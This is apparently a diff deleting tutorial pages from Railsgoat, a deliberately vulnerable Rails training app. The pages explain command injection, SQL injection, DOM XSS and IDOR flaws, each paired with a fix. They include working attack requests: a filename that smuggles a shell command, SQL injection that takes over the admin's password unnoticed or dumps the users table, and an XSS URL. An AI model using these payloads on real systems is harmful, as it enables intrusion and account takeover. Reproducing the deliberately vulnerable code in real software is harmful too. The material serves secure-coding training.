||||
<li> Separate production and development encryption keys. Production keys should be stored in an HSM, environment variable, etc. but never within the source code. Development keys are irrelevant if not being used for real data</li>
|
||||
<li> Change the view where SSNs are called and rendered to the user so that the "last_four" method is called instead</li>
|
||||
<li> For new user's who are registering, we create an initialization specific to their account</li>
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# SEED DATA
|
||||
work_info.each do |wi|
|
||||
list = [:user_id, :SSN]
|
||||
info = WorkInfo.new(wi.reject {|k| list.include?(k)})
|
||||
info.user_id = wi[:user_id]
|
||||
info.build_key_management({:user_id => wi[:user_id], :iv => SecureRandom.hex(32) })
|
||||
info.SSN = wi[:SSN]
|
||||
info.save
|
||||
end
|
||||
</pre>
|
||||
<pre class="ruby">
|
||||
# SEPARATE PROD AND DEV KEYS (config/initializers/key.rb)
|
||||
if Rails.env.production?
|
||||
# Specify env variable/location/etc. to retrieve key from
|
||||
elsif Rails.env.development?
|
||||
KEY = "123456789101112123456789101112123456789101112"
|
||||
end
|
||||
</pre>
|
||||
<pre class="ruby">
|
||||
# CHANGE VIEW TO CALL LAST FOUR METHOD (app/views/work_info/index.html.erb)
|
||||
<%= CGI.unescapeHTML("<td class="ssn"><%= @user.work_info.last_four %></td>") %>
|
||||
</pre>
|
||||
<pre class="ruby">
|
||||
def build_benefits_data
|
||||
build_retirement(POPULATE_RETIREMENTS.shuffle.first)
|
||||
build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
|
||||
build_work_info(POPULATE_WORK_INFO.shuffle.first)
|
||||
# Uncomment below line to use encrypted SSN(s)
|
||||
work_info.build_key_management(:iv => SecureRandom.hex(32))
|
||||
performance.build(POPULATE_PERFORMANCE.shuffle.first)
|
||||
end
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseSSNFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSSNFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
My SSN seems pretty important, hope it's kept safe!
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,156 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A1 - Command Injection
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseNine" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseNine" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTen" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTen" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
This manifestation of the bug occurs within the Benefits model. A system command is used to make a copy of the file the user has chosen to upload. User-supplied input is leveraged in creating this system command.
|
||||
</p>
|
||||
<p>
|
||||
Within app/controllers/benefits_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def upload
|
||||
<span style="background:yellow">file = params[:benefits][:upload]</span>
|
||||
if file
|
||||
flash[:success] = "File Successfully Uploaded!"
|
||||
<span style="background:yellow">Benefits.save(file, params[:benefits][:backup])</span>
|
||||
else
|
||||
flash[:error] = "Something went wrong"
|
||||
end
|
||||
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
||||
end
|
||||
</pre>
|
||||
<p>
|
||||
Within app/models/benefits.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
class Benefits < ActiveRecord::Base
|
||||
attr_accessor :backup
|
||||
|
||||
def self.save(file, backup=false)
|
||||
data_path = Rails.root.join("public", "data")
|
||||
full_file_name = "#{data_path}/#{file.original_filename}"
|
||||
f = File.open(full_file_name, "w+")
|
||||
f.write file.read
|
||||
f.close
|
||||
make_backup(file, data_path, full_file_name) if backup == "true"
|
||||
end
|
||||
|
||||
def self.make_backup(file, data_path, full_file_name)
|
||||
system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{<span style="background:yellow">file.original_filename</span>}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseEleven" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseEleven" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Command Injection - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ).
|
||||
</p>
|
||||
<pre class='ruby'>
|
||||
POST /upload HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://railsgoat.dev/users/5/benefit_forms
|
||||
Cookie: _railsgoat_session=[redacted for brevity]
|
||||
Connection: keep-alive
|
||||
Content-Type: multipart/form-data; boundary=--------54316025
|
||||
Content-Length: 1731
|
||||
|
||||
----------54316025
|
||||
Content-Disposition: form-data; name="utf8"
|
||||
|
||||
â
|
||||
----------54316025
|
||||
Content-Disposition: form-data; name="authenticity_token"
|
||||
|
||||
zKnXZO1PGcM+rFweczO7H8IDQ6NHmc8Siud2ypM6ZeA=
|
||||
----------54316025
|
||||
Content-Disposition: form-data; name="benefits[backup]"
|
||||
|
||||
<span style="background:yellow">true</span>
|
||||
----------54316025
|
||||
Content-Disposition: form-data; name="benefits[upload]"; <span style="background:yellow">filename="test.rb;+mkdir+thisisatest "</span>
|
||||
Content-Type: text/x-ruby-script
|
||||
</pre>
|
||||
<p><b>Command Injection - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils.
|
||||
</p>
|
||||
<p>
|
||||
As an example:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def self.make_backup(file, data_path, full_file_name)
|
||||
FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
|
||||
end
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseTwelve" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwelve" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
Let's create a backup when uploading a file, wonder how they are naming it?
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,159 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A1 - SQL Injection
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
This example of SQL Injection also happens to be a form of <%= link_to "Insecure Direct Object Reference", insecure_dor_tutorials_path, {:target => "_blank", :style => "color: rgb(181, 121, 158)"} %> since it uses user-supplied input to determine the user's profile to update. However, we will discuss the SQL query being used and why it is vulnerable.
|
||||
</p>
|
||||
<p>
|
||||
Within app/controllers/users_controller.rb
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def update
|
||||
message = false
|
||||
<span style="background-color:yellow"> user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")</span>
|
||||
user.skip_user_id_assign = true
|
||||
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
|
||||
pass = params[:user][:password]
|
||||
user.password = pass if !(pass.blank?)
|
||||
message = true if user.save!
|
||||
respond_to do |format|
|
||||
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
|
||||
format.json { render :json => {:msg => message ? "success" : "false "} }
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>SQL Injection - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from:
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
POST /users/5.json HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Referer: http://railsgoat.dev/users/5/account_settings
|
||||
Content-Length: 294
|
||||
Cookie: _railsgoat_session=[redacted]
|
||||
Connection: keep-alive
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background-color: yellow"> user[user_id]=5</span>&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. <b> It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack".</b>
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
POST /users/5.json HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Referer: http://railsgoat.dev/users/5/account_settings
|
||||
Content-Length: 208
|
||||
Cookie: _railsgoat_session=[redacted]
|
||||
Connection: keep-alive
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
|
||||
utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
|
||||
</pre>
|
||||
<p><b>SQL Injection - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def update
|
||||
message = false
|
||||
<span style="background-color:yellow">user = current_user</span>
|
||||
|
||||
user.skip_user_id_assign = true
|
||||
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
|
||||
pass = params[:user][:password]
|
||||
user.password = pass if !(pass.blank?)
|
||||
message = true if user.save!
|
||||
respond_to do |format|
|
||||
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
|
||||
format.json { render :json => {:msg => message ? "success" : "false "} }
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
I wonder who else's account needs updating?
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,171 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A1 - SQL Injection - ActiveRecord Scope
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseFive" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
ActiveRecord provides a useful tool for it's Models called a <i>scope</i>. In the words of the documentation:
|
||||
</p>
|
||||
<pre><i>
|
||||
"Scoping allows you to specify commonly-used queries which can be referenced as <br/>method calls on the association objects or models."
|
||||
</i></pre>
|
||||
<p class="desc">
|
||||
This means that we can call a scope as a method and that the scope can be used for common queries such as <i>where</i> and <i>join</i>. Developers must be careful not to interpolate or concatenate user input into these scope calls as this can lead to SQL Injection. This is a common mistake made and can have serious consequences.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSix" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Within app/models/analytics.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
class Analytics < ActiveRecord::Base
|
||||
attr_accessible :ip_address, :referrer, :user_agent
|
||||
|
||||
<span style="background-color:yellow">scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}</span>
|
||||
|
||||
def self.count_by_col(col)
|
||||
calculate(:count, col)
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Additionally, within app/controllers/admin_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def analytics
|
||||
if params[:field].nil?
|
||||
fields = "*"
|
||||
else
|
||||
<span style="background-color:yellow">fields = params[:field].map {|k,v| k }.join(",")</span>
|
||||
end
|
||||
|
||||
if params[:ip]
|
||||
<span style="background-color:yellow">@analytics = Analytics.hits_by_ip(params[:ip], fields)</span>
|
||||
else
|
||||
@analytics = Analytics.all
|
||||
end
|
||||
render "layouts/admin/_analytics"
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Within the controller we call the method <i>hits_by_ip</i>. This method is actually a scope as highlighted (above) in the Analytics model. The field object, defined within the controller, represents user-input that is intended to control the column returned by the SQL query. The field object represents the HTTP Request's parameter key. So this means we can control at least a portion of the query. Due to the fact that this input is used as an interpolated value within the query string, we have control over a larger portion of the query.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSeven" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>SQL Injection - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Navigate to the admin analytics panel. Send a request to search by an IP. Modify the request to change the parameter key to a partial SQL statement that returns all users and their information from the database:
|
||||
</p>
|
||||
<pre>
|
||||
GET /admin/1/analytics?ip=127.0.0.1&field%5B*%20from%20users--%5D= HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie:[redacted]
|
||||
Connection: keep-alive
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Essentially we are changing the intended SQL query from:
|
||||
</p>
|
||||
<pre>
|
||||
SELECT <span style="background-color:yellow">UserInput</span> FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
|
||||
</pre>
|
||||
<p class="desc">
|
||||
to:
|
||||
</p>
|
||||
<pre>
|
||||
SELECT * from users-- FROM "analytics" WHERE "analytics"."ip_address" = '127.0.0.1' ORDER BY id DESC
|
||||
</pre>
|
||||
<p><b>SQL Injection - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
To resolve this issue, do not interpolate user-provided input into SQL queries. However, it is always a good idea to create a whitelist of acceptable values when writing any code that is intended to be powerful and very flexible but that also leverages user-input to make these potentially security-impacting decisions. Within the Analytics model, we have a method called <i>parse_field</i>:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def self.parse_field(field)
|
||||
valid_fields = ["ip_address", "referrer", "user_agent"]
|
||||
|
||||
if valid_fields.include?(field)
|
||||
field
|
||||
else
|
||||
"1"
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
When used properly, this method prevents anything that does not match those items in the <i>valid_fields</i> array from reaching the SQL query. For example, within the admin controller we can prevent anything that does not match that white-list from inclusion into the query by doing the following:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def analytics
|
||||
if params[:field].nil?
|
||||
fields = "*"
|
||||
else
|
||||
fields = params[:field].map {|k,v| <span style="background-color:yellow">Analytics.parse_field(k)</span> }.join(",")
|
||||
end
|
||||
|
||||
if params[:ip]
|
||||
@analytics = Analytics.hits_by_ip(params[:ip], fields)
|
||||
else
|
||||
@analytics = Analytics.all
|
||||
end
|
||||
render "layouts/admin/_analytics"
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Effectively, we've changed any malicious data provided by the user into the number '1' by leveraging the above code.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseEight" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
Administrative analytics functionality need further security analysis. Now might be a good time to test for SQLi.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,109 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A9 - Using Components with Known Vulnerabilities (DOM XSS / JQuery Snippet)
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
JQuery Snippet contains at least one DOM-Based XSS vulnerability that can be confirmed in IE11. Unknowingly, the Railsgoat development team used this library. Credit for vulnerability discovery as well as submission to <%= link_to "@raesene", "http://github.com/raesene", {:style => "color: rgb(181, 121, 158)", :target => "_blank"}%>. This was unintentional but goes to show how easily vulnerabilities can creep in when using third-party libraries.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Within the file app/assets/javascripts/jquery.snippet.js:
|
||||
</p>
|
||||
<pre>
|
||||
<%= %{
|
||||
// snippet new window popup function
|
||||
function snippetPopup(content) \{
|
||||
top.consoleRef=window.open('','myconsole',
|
||||
'width=600,height=300'
|
||||
+',left=50,top=50'
|
||||
+',menubar=0'
|
||||
+',toolbar=0'
|
||||
+',location=0'
|
||||
+',status=0'
|
||||
+',scrollbars=1'
|
||||
+',resizable=1');
|
||||
top.consoleRef.document.writeln(
|
||||
'<html><head><title>Snippet :: Code View :: '+}%><span style="background-color:yellow">location.href</span><%= %{+'</title></head>'
|
||||
+'<body bgcolor=white onLoad="self.focus()">'
|
||||
+'<pre>'+content+'</pre>'
|
||||
+'</body></html>'
|
||||
);
|
||||
top.consoleRef.document.close();
|
||||
\}}%></pre>
|
||||
<p class="desc">
|
||||
We can see that the <i>location.href</i> DOM property is used to dynamically generate a title for the text box pop-up. This value is string concatenated directly from the DOM without first performing some escaping routine or HTML encoding.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
In order to demonstrate that you can indeed perform DOM XSS through this coding error, we will use a simple alert box. This does not appear to work in Chrome, Safari, or Firefox as they first URL encoded the script portion of the url before rendering which complicates browser interpretation. IE on the other hand, true to form, is totally vulnerable. The following example assumes you are running Railsgoat on localhost, port 3000. If this is the case, open IE, paste the URL (below) into IE.
|
||||
</p>
|
||||
<pre>
|
||||
<%= "http://localhost:3000/tutorials/injection#</title></head><script>alert(1)</script>" %>
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The portion after the pound (#) symbol will close off the title and head portions of the HTML and then allow for properly generated JavaScript to be rendered and executed. After browsing to this URL, navigate to the tutorial where code snippets are shown and click on the "pop-up" link that appears after hovering over the code snippet. This should be all that is required to demonstrate DOM-XSS.
|
||||
</p>
|
||||
<p><b>Using Components with Known Vulnerabilities (DOM XSS) - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
Use the hoganEscape() function defined in application.js to solve this problem. For instance:
|
||||
</p>
|
||||
<pre class="javascript">
|
||||
<%=%{'<html><head><title>Snippet :: Code View :: '+}%><span style="background-color:yellow">hoganEscape(location.href)</span> <%=%{+'</title></head>' }%>
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
Review the JQuery Code Snippet for any content that might be mirrored or reflected back and that is under our control.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,106 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A4 - Insecure Direct Object References
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Within the app/controllers/work_info_controller.rb file the follow code can be found:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
class WorkInfoController < ApplicationController
|
||||
|
||||
def index
|
||||
@user = User.find_by_user_id(params[:user_id])
|
||||
if !(@user)
|
||||
